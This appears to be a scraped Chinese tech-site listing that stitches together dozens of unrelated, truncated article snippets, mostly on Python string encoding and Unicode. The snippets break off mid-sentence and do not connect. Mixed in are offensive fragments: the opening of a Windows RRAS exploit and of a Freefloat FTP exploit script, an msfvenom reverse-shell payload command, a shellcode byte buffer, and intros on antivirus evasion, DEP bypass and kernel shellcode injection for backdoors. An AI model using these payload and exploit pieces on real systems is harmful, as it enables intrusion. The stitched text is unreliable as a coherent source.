“字符串”是个相当简单的概念：一个字符串是一个字符序列。本文记录 Python 中字符串相关内容。 Unicode 标准 从 Python 3 的 str 对象中获取的元素是 Unicode 字符 Unicode 标准把字符的标识和具体的字节表述进行了如下的明确区分。 字符的标识，即码位，是 0~1 114 111 的数字（十进制），在 Unicode 标准中以 4~6 个十六进制数字表示，而且加前缀“U+”。例 如，字母 A 的码位是 U+0041，欧元符号的码位是 U+20AC，高音 谱号的码位是 U
它是一个全球化的标准，能表示世界上所有语言的字符。Unicode字符的标识（码位）是以4~6个十六进制数字表示的，并且加前缀U+。
背景 在Python中使用日志最常用的方式就是在控制台和文件中输出日志了,logging模块也很好的提供的相应 的类,使用起来也非常方便,但是有时我们可能会有一些需求,如还需要将日志发送到远端,或者直
什么是摘要算法呢？摘要算法又称哈希算法、散列算法。它通过一个函数，把任意长度的数据转换为一个长度固定的数据串（通常用16进制的字符串表示）。
不知道大家是否见过这个东西,反正我清楚记得我是见过的,可是为什么会写这个东西?有以下一个场景: 怎样将一个字符串中的中文字符统一转换成英文字符? 不知道大家会怎样去做?先列举一个例子: 'hello
#!/usr/bin/env python # -*- coding: utf-8 -*- #Tested in Windows Server 2003 SP2 (ES) - Only works when RRAS service is enabled. #The exploited vulnerability is an arbitraty pointer deference affecting the dwVarID field of the MIB_OPAQUE_QUERY structure.
在文字的建模实践中，一般需要把原始文字拆解成单字、单词或者词组，然后将这些拆分的要素进行索引，标记化供机器学习算法使用。这种预处理叫做标注（Tokenize）。虽然这些功能都可以用python实现，但是Keras提供了现成的方法。
一、序列化/反序列化 python中内置了很多序列化/反序列化的方式，最常用的有json、pickle、marshal这三种，示例用法如下： import json import pickle import marshal author1 = {"name": "菩提树下的杨过", "blog": "http://yjmyzz.cnblogs.com/", "title": "架构师", "pets": ["dog", "cat"]} # json序列化 json_str = json.dumps(au
中文在编程中真实后娘养的，各种坑爹，python3下中文乱码这个问题抓破了头皮，头疼。看了alex的文章，才有种恍然大悟的感觉(链接在底部)。
最近在写接口的时候，遇到了需要使用RSA加密和PBE加密的情况，对方公司提供的DEMO都是JAVA的，我需要用python来实现。 在网上搜了一下，python的RSA加密这块写的还是比较多的，但是PBE较少。所以我就讲讲我在RSA加密上面遇到的坑，大家权当一乐。PBE加密里面的盐、密钥。
freefloat-ftp-server.php import socket, sys, time, struct if len(sys.argv) < 2: print "[-]Usage:%s <target addr> <command>"% sys.argv[0] + "\r" print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick." print "[-]Other options: AUTH, APPE, ALLO, ACCT" sys.exit(0) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2: platform = sys.argv[2]
打开文件的open方法和对字符编码解码的encode/decode，它们都有一个同样的可选参数 errors。这个参数很有用处。
msfvenom -p windows/x64/shell_reverse_tcpLHOST=10.0.0.5LPORT=443-f c -b \x00\x0a\x0d
https://www.cnblogs.com/zhuminghui/p/11359858.html
恩，又碰到个蛋疼的编码转换问题了：要把形如 \xE9\xBB 的字符串转成中文。。。 在python中我们直接 print "\xE9\xBB\x84" 即可， 在shell中我们直接 echo $'\xe9\xbb\x84' #echo -e '\xe9\xbb\x84'也行， 注意：不能直接 echo $'\xde\xab'|iconv -f gbk -t utf-8 ， 因为 gbk的话，\xE9\xBB是榛，后面的\x84只有半个字，会报错或乱码， utf8是变长的，占1~4字
Python 3最重要的新特性大概要算是对文本和二进制数据作了更为清晰的区分。文本总是Unicode，由str类型表示，二进制数据则由bytes类型表示。Python 3不会以任意隐式的方式混用str和bytes，正是这使得两者的区分特别清晰。你不能拼接字符串和字节包，也无法在字节包里搜索字符串（反之亦然），也不能将字符串传入参数为字节包的函数（反之亦然）。这是件好事。
文件打开的原则是“ 以什么编码格式保存的，就以什么编码格式打开 ”，我们常见的文件一般是以“ utf-8 ”或“ GBK ”编码进行保存的，由于编辑器一般设置了默认的保存和打开方式，所以我们在记事本或常见文档编辑器如Word中不容易看到乱码的情况发生，但是，当我们要在内存里读取打开一个文件时，如果文档编码方式和计算机内存默认读取文件的编码不同，或者我们打开文件时未设置正确的编码打开规则，则很有可能出现一堆乱码，无法正常读取文件内容，影响接下来的工作。
这四个目录下有图片，下载下来，发现 dont_bother 跟其他图片的 md5 不一样
通常情况下栈溢出可能造成的后果有两种，一类是本地提权另一类则是远程执行任意命令，通常C/C++并没有提供智能化检查用户输入是否合法的功能，同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出，这就给恶意代码的溢出提供了的条件，利用溢出，攻击者可以控制程序的执行流，从而控制程序的执行过程并实施恶意行为，而微软的DEP保护机制则可使缓冲区溢出失效，不过利用ROP反导技术依然是可被绕过的，接下来将具体分析如何利用ROP技术绕过DEP保护机制。
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
第一种网上通用的用xlsx改zip压缩包，能批量提取出图片。但是无法知道图片在单元格中的顺序信息。
分箱：抽象理解为苹果根据大小不同分级分箱 import numpy as np import pandas as pd from pandas import Series,DataFrame # 模拟成绩分箱 score_list = np.random.randint(35, 100, size=20) score_list array([93, 35, 83, 44, 56, 62, 37, 86, 44, 82, 49, 91, 49, 82, 53, 89, 47, 56, 38,
在编写恶意软件时，我们时常会用到系统的一些库，库的使用是非常简单，好用的，只需要导入头文件，那么就可以使用相应的api或函数，但是如果用于免杀或者c2，但是在EDR和终端软件横行的现在，不太“好”，下面将是我们在做免杀时或自己开发c2时常用的一些库，有现成调用代码，复制粘贴即可使用。
在实际的渗透测试中,杀毒软件是个无法忽视的话题;比喻的话,就像谈恋爱最终都要见对方父母一样, 除非你不想把这层关系持续下去. 因此,本篇作文主要研究如何使自己的恶意软件(MalWare) 绕过杀毒软件的识别和查杀.
视频直播间作为直播系统对外的表现形式，在整个系统中处于核心地位。通常除了视频直播窗口外，直播间还包含在线用户，礼物，评论，点赞，排行榜等信息。直播间消息，时效性高，互动性强，对系统时延有着非常高的要求，非常适合使用Redis等缓存服务来处理。
Requests是用Python语言编写的第三方库,使用前需要另外安装。它基于urllib，采用Apache2 Licensed开源协议的HTTP库。它比urllib更加方便，完全满足HTTP测试需求，可以节约我们很多的工作。
PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等，本次实验的目标是手工修改或增加节区，并给特定可执行程序插入一段ShellCode代码，实现程序运行自动反弹一个Shell会话。
UnicodeEncodeError: ‘gbk’ codec can’t encode character ‘\xa9’ in position 75: illegal multibyte sequ
有赞的数据库管控平台是基于Python 2(py2)开发的，目前已经升级到python3(py3) 版本，主程序基于python 3.6.x。写本文是梳理一下 两个版本之间的语法，函数等差异。
以前的代码都是直接将数据输出到控制台，实际上我们也可以通过读/写文件的方式读取/输出到磁盘文件中，文件读写简称I/O操作。文件I/O操作一共分为四部分：打开(open)/读取(read)/写入(write)/关闭(close)……
本文由来源 21aspnet，由 javajgs_com 整理编辑，其版权均为 21aspnet 所有，文章内容系作者个人观点，不代表 Java架构师必看 对观点赞同或支持。如需转载，请注明文章来源。
python学习在字符串部分的学习代码: # 编写人：刘钰琢 # 编写日期：2021/1/20 19:08 #字符串的驻留机制 a='python' b="python" c='''python''' print(a,id(a))#python print(b,id(b))#python print(c,id(c))#python a='abc%' b="abc%" print(a== b)#true #字符串的查询操作 s='hello,HEllo' print(s.index('lo'))#3 pri
通常情况下栈溢出可能造成的后果有两种，一类是本地提权另一类则是远程执行任意命令，通常C/C++并没有提供智能化检查用户输入是否合法的功能，同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出，这就给恶意代码的溢出提供了的条件，利用溢出攻击者可以控制程序的执行流，从而控制程序的执行过程并实施恶意行为，本章内容笔者通过自行编写了一个基于网络的FTP服务器，并特意布置了特定的漏洞，通过本章的学习，读者能够掌握漏洞挖掘的具体流程，及利用方式，让读者能够亲自体会漏洞挖掘与利用的神奇魔法。
BST是一款功能强大的二进制字符串代码格式转换工具，该工具可以将二进制字符串转换为能够兼容不同语言源代码的各种格式，以满足各种安全开发领域中的渗透测试或漏洞利用开发场景。
异或，加解密shellcode代码的简单分析方法。 #include <stdio.h> #include <Windows.h> unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"; int main(int argc, char* argv[]) { int password = 1025; unsigned char enShellCode[500]; unsigned ch
ASCII：ASCII码即美国标准信息交换码(American Standard Code for Information Interchange)。由于计算机内部所有信息最终都是一个二进制值，而每一个二进制位（bit）有0和1两种状态，因此八个二进制位就可以组合出256种状态，这被称为一个字节（byte）。标准ASCII 码一共规定了128个字符的编码，这是因为只使用了后面七位，最前面的一位统一规定为0。之后IBM制定了128个扩充字符，这些字符并非标准的ASCII码，而是用来表示框线、音标和其它欧洲非英语系的字母。
Python有他有非常丰富的标准库和第三方库。使用前要先用import命令导入，然后才能在之后的代码中调用。
温馨提示: 此处隐藏内容需要发表评论，并且审核通过后才能查看。 （发表评论请勾选 在此浏览器中保存我的显示名称、邮箱地址和网站地址，以便下次评论时使用。） （请仔细检查自己的昵称和评论内容，以免被识别为垃圾评论而导致无法正常审核。）
python中可以表示字节的有bytes,bytesarray,memoryview chinese = bytes('englishENG中文', encoding='utf8') print(chinese) # bytes可以通过构造函数传入str获得 # b'englishENG\xe4\xb8\xad\xe6\x96\x87' print(chinese[0]) # 使用索引可以获得range(256)之间的整数 # 101 print(chinese[:1]) # bytes切片还是bytes对
先来说说php变量的命名规则，百度下一抓一大把： (1) PHP的变量名区分大小写; (2) 变量名必须以美元符号$开始; (3) 变量名开头可以以下划线开始; (4) 变量名不能以数字字符开头.
Palo Alto Networks 发现了一个名为 Aveo 的恶意软件家族，它针对日语用户开发。Aveo 的名字来自于其二进制文件中的嵌入式调试字符串。Aveo 恶意软件家族与 ForrmerFirstRAT 恶意软件家族有密切的联系，二者都针对日语用户。Aveo 会伪装成 Microsoft Excel 文档，并在执行时抛出诱饵文件。诱饵文档与埼玉工業大学 Ido 实验室的研究有关。执行后，Aveo 可以接收多种命令，这将允许攻击者完全控制感染主机。 部署 Aevo 的样本会伪装成 Micros
Python是一种新的计算机语言，也是最近两年才开始大火的一种语言，它够优雅，写起来可以随心所欲，不用担心没有定义，没有声明这些其他计算机语言都需要考虑的问题,单自从更新Python3.x版本之后，很多人开始头疼，因为Python3很多地方并不兼容Python2，有人夸张的说Python3是一门新的语言，我觉得没有那么夸张，本文就剧一下我遇到的和一些知道的区别吧
文 | 豌豆 来源 | 菜鸟教程 Python的3.0版本，常被称为Python 3000，或简称Py3k。相对于Python的早期版本，这是一个较大的升级。 为了不带入过多的累赘，Python
还记得《驱动开发：内核LoadLibrary实现DLL注入》中所使用的注入技术吗，我们通过RtlCreateUserThread函数调用实现了注入DLL到应用层并执行，本章将继续探索一个简单的问题，如何注入ShellCode代码实现反弹Shell，这里需要注意一般情况下RtlCreateUserThread需要传入两个最重要的参数，一个是StartAddress开始执行的内存块，另一个是StartParameter传入内存块的变量列表，而如果将StartParameter地址填充为NULL则表明不传递任何参数，也就是只在线程中执行ShellCode代码，利用这个特点我们就可以在上一篇文章的基础之上简单改进代码即可实现驱动级后门注入的功能。
Python 的 3.0 版本，常被称为 Python 3000，或简称 Py3k。相对于 Python 的早期版本，这是一个较大的升级。
笔者这里使用的是QTCreator和Python来实现一个简单的串口上位机的开发的简单过程，使用到Python，之前记录的Qt 使用C++ 写上位机也记录一篇文章，大家感兴趣的话可以看看。从零开始编写一个上位机（串口助手）QT Creator + C++
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
